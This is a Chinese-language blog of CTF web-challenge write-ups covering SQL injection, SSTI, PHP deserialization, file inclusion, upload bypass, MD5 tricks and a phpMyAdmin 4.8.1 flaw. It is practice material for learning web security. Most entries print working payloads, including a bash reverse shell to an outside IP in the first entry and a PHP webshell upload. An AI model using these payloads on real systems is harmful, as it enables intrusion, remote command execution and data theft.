2020年6月25日 DAS六月赛

简单的计算题1 - 100pt

非常简单的计算题

查看源代码

 #!/usr/bin/env python3 
 # -*- coding: utf-8 -*- 
 from flask import Flask, render_template, request,session 
 from config import black_list,create 
 import os 
 app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) ## flag is in /flag try to get it @app.route('/', methods=['GET', 'POST']) def index(): def filter(string): for black_word in black_list: if black_word in string: return "hack" return string if request.method == 'POST': input = request.form['input'] create_question = create() input_question = session.get('question') session['question'] = create_question if input_question==None: return render_template('index.html', answer="Invalid session please try again!", question=create_question) if filter(input)=="hack": return render_template('index.html', answer="hack", question=create_question) 
 //关键代码
 try: calc_result = str((eval(input_question + "=" + str(input)))) 
 if calc_result == 'True': 
 result = "Congratulations" 
 elif calc_result == 'False': 
 result = "Error" 
 else: result = "Invalid" 
 except: result = "Invalid" return render_template('index.html', answer=result,question=create_question) if request.method == 'GET': create_question = create() session['question'] = create_question return render_template('index.html',question=create_question) @app.route('/source') def source(): return open("app.py", "r").read() if __name__ == '__main__': app.run(host="0.0.0.0", debug=False)

简单Python代码注入,看到import os就知道可以用反弹shell拿到flag,(注意Python里面的部分字符串转义)

服务器监听nc -lvp 8999

payload:

 “正确计算结果” and os.system('/bin/bash -c \"/bin/bash -i > /dev/tcp/49.235.24.160/8999 0<&1 2>&1 &\"')

[强网杯 2019]随便注

时间:2020年7月5日20:51:32

题目来源:buuoj

解题过程

 首先加了'发现报错,疑似存在SQL注入
 1' or 1=1 #   成功回显所有id
 1' order by 2 # 爆出字段数为2
 尝试联合查询
 1' union select 1,databases(); #
 回显如下:return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
 应该是过滤了一些关键字,尝试使用sqlmap,F12查看源码寻找参数,结果发现“sqlmap是没有灵魂的”字样,停下来思考了一番^v^。
 先用加号尝试一下拆分关键词:1 "un"+"i"+"on" "se"+"l"+"ect" 1,2 #
 成功回显了
 然后尝试爆数据库名,发现总是不回显,1后面加单引号总是后面会多一个单引号,也不知道为什么,就没思路了。。
 没办法了,直接搜wp了
 ​
 是堆叠注入的知识点
 -1';show tables#
 直接回显了table名Orz太强了
 但是select等语句被ban了也不好读flag,下面学学新的姿势
 ​
 payload1:1';handler `1919810931114514` open;handler `1919810931114514` read first; #
 这个payload用的是mysql专用关键字handler,使用方法就是handler tablename open 然后handler tablename read first;读取第一行 然后read next一直往下读取。
 ​
 ​
 payload2:-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
 这是sql预编译语句,
 set用于设置变量名和值
 prepare用于预备一个语句,并赋予名称,以后可以引用该语句
 execute执行语句
 deallocate prepare用来释放掉预处理的语句
 看payload就可以看懂
 ​
 ​
 payload3:直接修改表名列名,我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。
 ​
 ttttttql

[NPUCTF2020]ReadlezPHP

时间:2020年7月11日13:55:24

题目来源:buuoj

解题过程:

拿到题还是熟悉的骷髅头,查看源码发现了time.php页面,发现源代码:

 <?php
 #error_reporting(0);
 class HelloPhp
 {
     public $a;
     public $b;
     public function __construct(){
         $this->a = "Y-m-d h:i:s";
         $this->b = "date";
     }
     public function __destruct(){
         $a = $this->a;
         $b = $this->b;
         echo $b($a);
     }
 }
 $c = new HelloPhp;
 ​
 if(isset($_GET['source']))
 {
     highlight_file(__FILE__);
     die(0);
 }
 ​
 @$ppp = unserialize($_GET["data"]);

一眼可见,核心代码应该是unserialize那里的反序列化操作。

大概可以知道传入data参数为序列化之后的字符串,反序列化后触发__destruct函数里面的操作,打印我们想要的结果,其中变量a,b的值是我们可控的。

然后就开始构造payload,最开始不知道$b($a)表示啥意思,手动敲了敲代码,发现应该是b的内容可以当函数名字来调用。

既然可以直接调用函数的话,首先想到的是一句话拿shell,发现变量函数屏蔽掉了eval等函数,

后面想到了看源码,file_get_contents,发现源码里面啥也没有。。。后面又想到直接看flag文件,发现找不到。。。。佛了。。。

后面去Google找php有啥关于shell的函数,找到的函数大部分都被屏蔽掉了,后面才找到assert函数,直接payload

 /time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}

发现此函数可以用,顺手Ctrl+F,得到flag。

后面想构造$_post拿shell发现失败了也不知道啥原因。

[ACTF2020 新生赛]Include

时间:2020年7月12日14:00:17

题目来源:buuoj

解题过程:点击tips可以发现地址栏有file=flag.php立马想到文件包含,目录穿透一波../../../../../../../../../../../../../etc/passwd果然回显了内容

尝试../../../etc/passwd发现距离根目录有三层

尝试../../../var/www/html/flag.php发现了web所在的目录

用burpsuite字典爆破尝试穿透常见敏感文件都没有收获

想起了之前的伪协议,于是payload

 ?file=php://filter/read=convert.base64-encode/resource=flag.php

得到flag!

有关php伪协议读取文件的知识我之前博客写过:

https://xiaoyaovo.cn/archives/71#toc-head-17

[ACTF2020 新生赛]Exec

时间:2020年7月12日15:00:35

题目来源:buuoj

解题过程:这题很简单,被我1秒钟秒了,,

payload:

 www.baidu.com ; cat /flag

是的,第一个payload就成功了!!!

考点就是linux在执行命令的时候可以用;分隔,达到执行多条命令的目的,而且这题没有任何过滤,所以直接就可以用上面那个payload。

[ACTF2020 新生赛]BackupFile

时间:2020年7月12日15:08:22

题目来源:buuoj

解题过程:直接/index.php.bak直接可以下载源码

 <?php
 include_once "flag.php";
 ​
 if(isset($_GET['key'])) {
     $key = $_GET['key'];
     if(!is_numeric($key)) {
         exit("Just num!");
     }
     $key = intval($key);
     $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
     if($key == $str) {
         echo $flag;
     }
 }
 else {
     echo "Try to find out source file!";
 }

intval是Get the integer value of a variable的意思

这里php弱类型比较,当key=123的时候跟str比较==就可以得到true

直接?key=123得到flag

[HCTF 2018]WarmUp

时间:2020年7月24日17:35:09

来源:buuoj

解题过程

F12发现源代码,在源代码里面发现hint.php,里面说flag在ffffllllaaaagggg

php代码审计,耐心把代码分析一遍就做出来了

 <?php
     highlight_file(__FILE__);
     class emmm
     {
         public static function checkFile(&$page)
         {
             $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
             if (! isset($page) || !is_string($page)) {
                 echo "you can't see it";
                 return false;
             }
 ​
             if (in_array($page, $whitelist)) {
                 return true;
             }
 ​
             $_page = mb_substr(
                 $page,
                 0,
                 mb_strpos($page . '?', '?')
             );
             if (in_array($_page, $whitelist)) {
                 return true;
             }
 ​
             $_page = urldecode($page);
             $_page = mb_substr(
                 $_page,
                 0,
                 mb_strpos($_page . '?', '?')
             );
             if (in_array($_page, $whitelist)) {
                 return true;
             }
             echo "you can't see it";
             return false;
         }
     }
 ​
     if (! empty($_REQUEST['file'])
         && is_string($_REQUEST['file'])
         && emmm::checkFile($_REQUEST['file'])
     ) {
         include $_REQUEST['file'];
         exit;
     } else {
         echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
     }  
 ?>

很明显include那里存在文件包含漏洞,关键是对输入参数的处理里面,其中mb_substr函数是返回字符串的字串,mb_strpos函数是返回字符首次出现的位置,这里两个函数连在一起用,是把字符串中'?'之前的字符串返回给$page,所以payload: hint.php? 后面跟任何字符串都会返回hint.php所以想到用目录穿透到根目录寻找flag:

 hint.php?../../../../../../../../../../../../../../../../../../../ffffllllaaaagggg

得到flag,这道题做了大概40来分钟,真的需要耐心。。。。。

[护网杯 2018]easy_tornado

时间:2020年7月24日18:10:21

来源:buuoj

解题过程:本题考点是SSTI模板注入,

SSTI漏洞之前在B站某个大佬那里看到过,大概就是Python写的某些前端框架中,后端会对前端的数据进行渲染,从而减小前端的服务器压力,但是前端的模板在渲染过程中就会对用户的输入进行代码执行。

回到这道题,这题给了3个文件,每个文件的打开的时候还伴随着这个文件的filehash,hint文件里面给了filehash的由来:md5(cookie_secret+md5(filename)),,

在直接输入/ffffllllaaaagggg的时候发现了报错,注意到url上msg=Error,输出的正好也是Error,尝试看看有没有SSTI注入,将Error换成{{1}}

,果然打印出了1,尝试{{config}}没有发现信息,结果试了半天也不行,百度搜一手发现tornado的config文件要访问{{handler.settings}},然后回显{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'a3c2fc28-d38e-42ad-bdaa-5fecc8f1debe'}

发现了cookie_secret,直接根据那个hint计算出ffffllllaaaagggg文件的hash值,就得到了flag

[DASCTF-七月赛]Ezfileinclude

时间:2020年7月25日11:37:59

来源:DASCTF七月赛

解题过程:用时1小时,F12可以看到这个图片的链接http://183.129.189.60:10009/image.php?t=XXXXXX&f=XXXXXXX

发现f后面的是base64编码,解码过后就是下面显示的文件的文件名,尝试改成/flag的base64编码发现提醒时间不对,所以必须得修改t的值

其中t可以由Python里面的time.time()得到

先目录穿透一波发现过滤了../,尝试了用url编码绕过,发现也不行,甚至读不出来image.php,思考了一番,读不出php文件只能读jpg文件,应该是有jpg文件限制的,后多次尝试发现在gqy.jpg后面加../可以读到etc/passwd,下面给出payload:

 import time,requests,base64
 ​
 url = 'http://183.129.189.60:10009/image.php?t='
 url2 = '&f='
 ​
 aim = b'gqy.jpg../../../../../../flag'
 aim = str(base64.b64encode(aim), encoding='utf-8')
 r = requests.get(url + str(int(time.time())) + url2 + aim)
 ​
 print(r.text)

得到flag:flag{847d2f93276a21f084c44f4d74c61ef4}

[BJDCTF2020]Mark loves cat

时间:2020年8月1日17:48:21

来源:buuoj

解题过程:这题点开是个花里胡哨的前端,可是整个页面貌似没什么鸟用,只有最下面好像有个提交框,尝试了构造XSS,SQL注入,SSTI都没有很大的收获,后台扫描一波也没有收获,robots.txt也没有泄露信息,后面看wp发现可以扫出.git源码泄露,但是我Dirsearch并没有扫出来,之前还有一道题也是这样,也没扫出来,后面换了用dirb也没扫出来,直接用Githack就可以得到源码,如下:

 <?php
 ​
 include 'flag.php';
 ​
 $yds = "dog";
 $is = "cat";
 $handsome = 'yds';
 ​
 foreach($_POST as $x => $y){     
     $$x = $y;
 }
 ​
 foreach($_GET as $x => $y){
     $$x = $$y;
 }
 ​
 foreach($_GET as $x => $y){
     if($_GET['flag'] === $x && $x !== 'flag'){
         exit($handsome);
     }
 }
 ​
 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
     exit($yds);
 }
 ​
 if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
     exit($is);
 }
 echo "the flag is: ".$flag;

初看代码,真是各种变量花里胡哨,代码审计要耐心!

看那个双$的符号,之前也遇到过,写个代码试试就可以知道是用变量的值当变量的名称,那个foreach跟java里面的enhangced loop有点像,把循环体里面的键值对取出来依次赋值操作。

直接开始构造,get里面写flag=flag,post里面写$flag=flag,貌似可以bypass前几个过滤,但是最后一个过不了,后面怎么尝试思考都不行。

转换一下思路,最开始一直在bypass,后面注意到exit($xxx)里面有变量,而双$符号可以改变变量成为我们想要的可控变量。

下面给出payload:

 POST /index.html?yds=flag HTTP/1.1
 Host: 0845ec1c-de34-496f-8fc6-3d3f58c1a703.node3.buuoj.cn
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Connection: close
 Upgrade-Insecure-Requests: 1
 Cache-Control: max-age=0, no-cache
 Content-Length: 9
 Origin: http://eb14f65c-c39f-4cb4-a829-65559cbcface.node3.buuoj.cn
 Pragma: no-cache
 ​
 $yds=flag

GET:yds=flag

POST:$yds=flag

即可得到flag!

[SWPU2019]Web1

时间:2020年8月2日12:01:37

来源:buuoj

解题过程:wdnmd!!一直以为这道题是XSS盗取cookie,有40个字符限制,饶了半天,找了N个payload,花了1个多小时没弄出来。

中途警醒了一小会觉得有SQL注入存在,用sqlmap跑了一下没跑出来。

后面实在搞不出来就看wp,结果真的是SQL注入。。。

这道题过滤了 or 空格 # --+ --空格 等。

空格可以用/**/绕过,过滤了or就不能用orderby只能手动一个一个试,注释的话我在最后加了一个单引号貌似可以绕过。

burp抓包有自带cookie比较好多次尝试

首先试出来orderby是22个,database叫web1

title=1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

尝试使用information_schema发现过滤了or。。。。

尝试查看数据库版本,发现了10.2.26-MariaDB-log

后面发现了这个版本MySQL的一个新特性,sys.schema表

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schema,基础数据来自于performance_schema和information_schema两个库,本身数据库不存储数据。

但是自己在写payload的时候发现这个表不存在。。。貌似官方wp也是这么写的。

没得办法了,去看了WP,发现是表名users,下次搞不出来猜一下吧

最后是无列名注入,多试试就出来了,payload:

 1'/**/union/**/select/**/1,
 (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
 ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

得到flag!

参考文章:http://lz2y.top/index.php/2020/04/%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95-swpu2019web1/

[BJDCTF2020]Cookie is so stable

时间:2020年8月2日23:03:18

来源:buuoj

解题过程:打开页面前端也很好看,点进flag.php发现让我们输入自己的身份,输入admin后,提示欢迎admin,就没有任何信息了。

点击hint.phpF12发现让我们多看几眼cookies,cookie包含了PHPSESSID和user,其中user为我们输入的内容。

看了看robots.txt和.git都没有发现泄漏的点

在输入的地方尝试了XSS,SQL,SSTI模板注入等payload,发现了存在SSTI模板注入。

burp抓包后修改cookies中的user={{1}}回显了1

修改user={{1+1}}回显了What do you want to do?!,看来是过滤了。

之前看B站有个up主讲SSTI的时候就有一张图:

有了这张图思路就很清晰了,直接一个一个试

SSTI.jpg

这道题的{{7*'7'}}刚好可以试出来回显49,说明是Twig模板注入。

直接Google一手Twig模板注入payload,一会就找到了

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

原理的话大概就是利用Python或者PHP(这里应该是php的前端模板)中的内置的类里面的魔法方法来调用系统命令。

这里贴一个SSTI自动检测工具,方便以后查阅:https://github.com/epinna/tplmap

[极客大挑战 2019]PHP

时间:2020年8月5日10:11:59

来源:buuoj

解题过程:又是一个前端很漂亮的页面提示说网站有备份,dir扫一下应该会发现,但是dir扫的时候出了问题。

之前扫buuoj 的题都会出现很多429状态码,搜了一下,429是Request too fast,线程设置少一点就好了,再换一个字典,再把429的统统屏蔽,终于扫出来了:

python3 dirsearch.py -u http://eac6bbf1-8699-4df5-ba7d-16de691fe733.node3.buuoj.cn -l dict_mode_dict.txt -e * -t 1 -x 429

下载下来的源码用Seay自动审计打开看看,自动审计一下没有发现漏洞,观察文件,style.css和index,js应该是前端的文件,看一下index.php里面:

 <?php
     include 'class.php';
     $select = $_GET['select'];
     $res=unserialize(@$select);
     ?>

接收参数select,再反序列化,接着跳到class.php:

 <?php
 include 'flag.php';
 ​
 error_reporting(0);
 ​
 class Name{
     private $username = 'nonono';
     private $password = 'yesyes';
 ​
     public function __construct($username,$password){
         $this->username = $username;
         $this->password = $password;
     }
 ​
     function __wakeup(){
         $this->username = 'guest';
     }
 ​
     function __destruct(){
         if ($this->password != 100) {
             echo "</br>NO!!!hacker!!!</br>";
             echo "You name is: ";
             echo $this->username;echo "</br>";
             echo "You password is: ";
             echo $this->password;echo "</br>";
             die();
         }
         if ($this->username === 'admin') {
             global $flag;
             echo $flag;
         }else{
             echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
             die();       
         }
     }
 }
 ?>

可以看到name类里面有两个private变量,在destruct魔法方法里面判断这两个变量然后是否给出flag。

看到这里思路应该会很清晰,,利用反序列化漏洞绕过__weakup魔法方法,设置username和password分别为admin和100,本地环境构造一下:

 <?php
 ​
 class Name{
 ​
     private $username = 'admin';
     private $password = '100abc';   //  php弱类型比较
 ​
 }
 $b = new Name();
 $a = serialize($b);
 echo $a;
 ​
 ?>

跑出来的结果:

 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:6:"100abc";}

绕过__weakup:把2换成大于2的数,比如3

再根据private变量的特性在第2,3个name左右加上%00,最终payload:

 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:6:"100abc";}

得到flag!

[GXYCTF2019]BabySQli

时间:2020年8月5日12:26:15

来源:buuoj

解题过程:SQL注入

输入:

 admin' or 1=1 #

提示do not hack me!,发现过滤了or。后做题过程中发现过滤的关键字:or () = <>

输入:

 admin' union select 1,2,3 #

试字段数发现3个字段不会报错。

记得之前遇到过mysql的一个特性就是sys.schema代替information_schema,尝试构造语句

 admin' union select * from sys.schema_auto_increment_columns#

返回

 Error: SELECT command denied to user '123'@'localhost' for table 'schema_auto_increment_columns'

看来权限不够。。

再多次尝试user和password过后发现构造1' union select 1,2,3 # 提示user错误,但是构造admin ' union select 1,2,3 #提示password错误,说明一定有admin这个账户。

由于过滤了左右括号,而且不能用url编码绕过,导致了报错注入,盲注等都不能用。

看了wp,这道题是考的一个mysql的小知识点

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

意思是当我们联合查询不存在的数据时,MySQL会构造一个字段放在表里面,就可以造成随意登录的情况。

例如,我们构造:

 -1' union select 1,'admin',123 #

会返回wrong password

把中间的admin换了就会返回wrong user,说明user在第二个字段的位置,构造:

 username = -1' union select 1,'admin',123 #             

就会在表中产生

1usernamepassword
1admin123
1adminture_password

的字段

只要过了username的检测(第二个字段设置为admin),就可以伪造一个密码,例如构造:

 -1' union select 1,'admin',123 #

构造密码为123就可以成功登陆。

但是没有成功,原因应该是密码要md5加密(在实际开发中,大部分存在数据库中的密码都应该是md5的形式),把123的md5值换成第三个字段:

 -1' union select 1,'admin','202cb962ac59075b964b07152d234b70' #

密码为123,就成功的拿到了flag!

[ACTF2020 新生赛]Upload

时间:2020年8月5日13:23:25

来源:buuoj

解题过程:又是一个前端好看的题。。鼠标移动到中间的灯泡,发现是文件上传的题,只能上传jpg等照片格式的文件,应该只是前端过滤,打开burp抓包。

一句话写好,把后缀改成php会提示nonono,bad file~

 POST / HTTP/1.1
 Host: 306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Content-Type: mUltipart/form-data; boundary=---------------------------4294271638175662211142851573
 Content-Length: 356
 Origin: http://306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn
 Connection: close
 Referer: http://306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn/
 Upgrade-Insecure-Requests: 1
 ​
 -----------------------------4294271638175662211142851573
 Content-Disposition: form-data; name="upload_file"; filename="SSTI.Php"
 Content-Type: text/html
 ​
 <?php phpinfo();
 -----------------------------4294271638175662211142851573
 Content-Disposition: form-data; name="submit"
 ​
 upload
 -----------------------------4294271638175662211142851573--
 ​

改成Php成功绕过,返回,Upload Success! Look here~ ./uplo4d/5a7967977c586ab48a83337f922b9cc2.Php

访问一下,返回的是文字,不能解析。

改成html也能成功上传,但是尖括号附近都会被注释掉,也不能解析,

改成phtml解析成功!!

最终获取flag的payload:

 POST / HTTP/1.1
 Host: 306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Content-Type: mUltipart/form-data; boundary=---------------------------4294271638175662211142851573
 Content-Length: 366
 Origin: http://306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn
 Connection: close
 Referer: http://306afda4-f507-423b-9449-1a6372f1a26a.node3.buuoj.cn/
 Upgrade-Insecure-Requests: 1
 ​
 -----------------------------4294271638175662211142851573
 Content-Disposition: form-data; name="upload_file"; filename="SSTI.phtml"
 Content-Type: text/html
 ​
 <?php system('cat /flag');
 -----------------------------4294271638175662211142851573
 Content-Disposition: form-data; name="submit"
 ​
 upload
 -----------------------------4294271638175662211142851573--```

当然也能用antsword连接,都是没问题的。

[BJDCTF2020]Easy MD5

时间:2020年8月6日22:53:02

来源:buuoj

解题过程:打开题目一个输入框,随便输入一个admin会以GET的形式提交到url上,再看其他的并没有发现任何信息,在response headers里面发现了关键信息:

 Hint: select * from 'admin' where password=md5($pass,true)

这里提示的是sql的查询语句,那么就应该是从SQL注入方面下手,不过这个输入会转换成md5的值,那就应该不能进行常规的SQL注入了Orz

看wp发现这种md5加密的SQL注入是一种老套路,

由于在php中,md5($pass,true)函数加了true参数后会把加密过后的散列值转换成对应的16位原始二进制的字符串。

那么如果加密后的md5原始二进制字符串开头形如 ' or 1 就会造成SQL注入恒为真。

下面给出网上抄的$pass值

 $pass = 'ffifdyop';
 md5($pass,true) = "'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c";

我们得到的SQL注入语句就会变成

  SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'

在MySQL中,以数字开头的一个字符串(0不算)被用作布尔值的时候都为真,所以这个SQL语句等价于:

  SELECT * FROM admin WHERE username = 'admin' and password = '' or true

结果就会造成SQL注入!

成功后返回了下面的页面:

 <!--
 $a = $GET['a'];
 $b = $_GET['b'];
 ​
 if($a != $b && md5($a) == md5($b)){
     // wow, glzjin wants a girl friend.
 -->

很明显的md5 collision,做过很多了。

PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。

1.以下值在md5加密后以0E开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a

2.PHP中md5的函数特性(数组绕过)

 md5([1,2,3]) == md5([4,5,6]) == NULL

[1] !== [2] && md5([1]) === md5([2]) 所以GET传入a[]=1&b[]=2就能够绕过了。

3.MD5碰撞

关于两个相同md5值的不同字符:

 Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
 Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

还有很多类似的可以直接Google,注意一点,post时一定要urlencode。

这里可以直接用数组绕过,传入a[]=1&b[]=2即可。

成功后返回以下界面:

 <?php
 error_reporting(0);
 include "flag.php";
 ​
 highlight_file(__FILE__);
 ​
 if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
     echo $flag;
 }

这里可以用数组绕过,也可以用2个相同的md5值。得到flag!

[安洵杯 2019]easy_web

时间:2020年8月9日13:07:13

来源:buuoj

解题过程:打开题目,2张图片,一张左上角的查看源码可以看到base64过后的图片内容,注意到url:

 img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

其中img经过2次base64解码,再一次hex解码过后得到555.jpg

用同样的方法可以得到index.php的源码:

 <?php
 error_reporting(E_ALL || ~ E_NOTICE);
 header('content-type:text/html;charset=utf-8');
 $cmd = $_GET['cmd'];
 if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
     header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
 $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
 ​
 $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
 if (preg_match("/flag/i", $file)) {
     echo '<img src ="./ctf3.jpeg">';
     die("xixi~ no flag");
 } else {
     $txt = base64_encode(file_get_contents($file));
     echo "<img src='data:image/gif;base64," . $txt . "'></img>";
     echo "<br>";
 }
 echo $cmd;
 echo "<br>";
 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
     echo("forbid ~");
     echo "<br>";
 } else {
     if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
         echo `$cmd`;
     } else {
         echo ("md5 is funny ~");
     }
 }
 ​
 ?>

其中 echo `$cmd;可以用来执行系统命令。

后面关键的cmd参数如果过到了waf并且过了md5碰撞就可以得到flag

注意到waf过滤了很多执行系统命令的参数,这里参考命令执行绕过技巧一个一个payload打,最终可以用斜杠绕过,md5碰撞也比较简单,直接找两个一样的md5就行了,记得POST的时候url编码一下,最终payload:

 POST /index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=c\at+/fl\ag HTTP/1.1
 Host: 6f6e35be-3d1f-4499-b804-0d45a083cf88.node3.buuoj.cn
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 389
 Connection: close
 Upgrade-Insecure-Requests: 1
 Cache-Control: max-age=0
 ​
 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

[GWCTF 2019]我有一个数据库

时间:2020年8月15日00:38:25

来源:buuoj

解题过程:打开页面是一串乱码,应该没什么用,F12没有发现有用信息,robots.txt发现关键信息phpinfo。

看了许久的phpinfo也没有发现可利用的点,Google一手phpinfo和数据库(题目是有一个数据库)的联系,发现可能存在phpmyadmin页面,输入到地址栏中果然存在phpmyadmin页面,并且是登录好了的页面可以直接进行SQL查询。

贴一个文章,里面详细讲述了phpmyadmin里面getshell的几种方法:

  • SQL查询语句写入文件: select '<?php phpinfo();?>' into outfile '/var/www/html/shell.php';
  • 通过设置日制查询文件getshell
  • 特殊版本CVE

这里尝试了前两种,都返回了

 #1045 - Access denied for user 'test'@'%' (using password: YES)

说明没有权限执行。

在phpmyadmin首页看到版本号为4.8.1

Google了一下CVE,果然有!

phpmyadmin4.8.1后台getshell

直接找里面的payload打就行:

 phpmyadmin/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../flag

实在没想到,就连2018年发布的phpmyadmin在index.php里面也会出现低级的文件包含漏洞!


我啥也不会!